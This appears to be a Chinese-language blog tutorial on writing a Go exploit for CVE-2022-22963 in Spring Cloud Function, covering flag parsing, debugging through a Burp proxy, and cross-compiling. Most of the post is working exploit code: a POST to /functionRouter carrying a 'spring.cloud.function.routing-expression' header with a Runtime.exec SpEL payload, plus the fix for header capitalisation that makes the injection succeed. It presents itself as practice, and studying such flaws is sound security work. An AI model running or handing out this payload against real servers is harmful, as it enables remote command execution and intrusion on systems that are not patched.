EXP练手:CVE-2022-22963从编写到调试排错

写什么?

之前在使用Spring相关工具时候发现其中漏洞利用模块CVE-2022-22963需要手动利用(2023年的笔记,现在不确认工具是否更新了)

GitHub - AabyssZG/SpringBoot-Scan: 针对SpringBoot的开源渗透框架,以及Spring相关高危漏洞利用工具

于是尝试编写这个exp,对编程不熟悉的可以看看我的Golang poc编写教程点此跳转

抓取数据包-明确要求

image

标红的是payload

可见,我们需要:

开始编写

格式

很多命令行工具,都会有类似这样的界面

image

用来展示参数说明,并且具有接收参数的功能

target := flag.String("u", "【默认值】", "【参数说明】")
command := flag.String("c", "【默认值】", "【参数说明】")
flag.Parse() //解析参数

其中【默认值】表示在不指定的情况下,该变量的值
【参数说明】为命令行下./xxx --help时候展示的内容

这些数据为引用类型,下文中要使用这些参数时,需要加*

fmt.Println(*target)可以打印target参数

另外需要注意的是在flag.Parse()之后才会加载这些参数,所以你的代码的banner需要放在此之前,若放在此之后则在使用--help时候,不会显示banner

POST数据包

现在我们需要构造一个POST请求

post_body := url.Values{}
post_body.Add("test", "test")
a, _ := http.NewRequest("POST", *target+"/functionRouter", bytes.NewBuffer([]byte(post_body.Encode())))

body并不影响此漏洞利用,所以有内容即可

使用NewRequest生成一个新的http请求

第一个参数为请求类型,选择POST

第二个参数为url,我们将接收到的target参数取出,并拼接上漏洞路径

第三个参数为body,需要注意类型转换

插入payload

我们的payload在header中,我们现在给这个生成的http请求的hearder加上payload

常见的增加header的方式:

a.Header.Add("【字段名key】","【字段值value】")

本人最开始也是用这个方法去编写的,但是无法成功利用(具体见下文)

发送数据包

数据包已经构造好了,接下来就是把数据包发送出去

http.DefaultClient.Do(a)

这个方法调用一个默认的客户端发送请求

正常情况下,我们需要从返回包中获取一些特征来判断是否利用成功,但是这个漏洞不需要所以省略此部分

关闭连接

及时关闭资源非常有必要(尤其是涉及到高并发的情况下)

关闭资源分为两步

1:关闭返回对象resp的body

2:关闭http连接

参考链接:GO 关闭http请求的几种方式 - 掘金 (juejin.cn)

调试

在编写完成之后,发现一直无法成功利用

这时候就要开始调试,调试的思路:让流量挂上代理(指向burp),然后我们观察burp抓到的数据包进行分析

//获取有代理的客户端,并发送数据包
    proxy := func(_ *http.Request) (*url.URL, error) {
        return url.Parse("http://192.168.108.134:8081")
    }
    transport := &http.Transport{Proxy: proxy}
    client := &http.Client{Transport: transport} //有代理、且会跟随跳转

完成之后,我们再次运行并抓包

发现端倪

image

可以看见,数据包中的大小写有所不同

查阅资料得知,a.Header.Add("【字段名key】","【字段值value】")这个方法会自动修改大小写

所以我们换一个方法即可a.Header["key"]=[]string{"value"}

a.Header["spring.cloud.function.routing-expression"] = []string{"T(java.lang.Runtime).getRuntime().exec(\"" + *command + "\")"}

修改完成之后,重新运行,成功利用

image

打包代码

将我们的代码打包成多个平台的可执行程序

在项目路径下打包代码(这里以Linux平台为例,不同平台交叉编译的代码不同)

Linux

#编译出可以在本机(Linux)上运行的可执行程序
go build main.go

Windows(交叉编译)

#编译出可以在windows系统上运行的可执行程序
CGO_ENABLED=0 GOOS=windows  GOARCH=amd64  go build main.go

Mac(交叉编译)

#编译出可以在Mac上运行的可执行程序
CGO_ENABLED=0 GOOS=darwin  GOARCH=amd64  go build main.go

编写完成(撒花)

posted @ 2024-05-13 10:48  aixve  阅读(3)  评论(0编辑  收藏  举报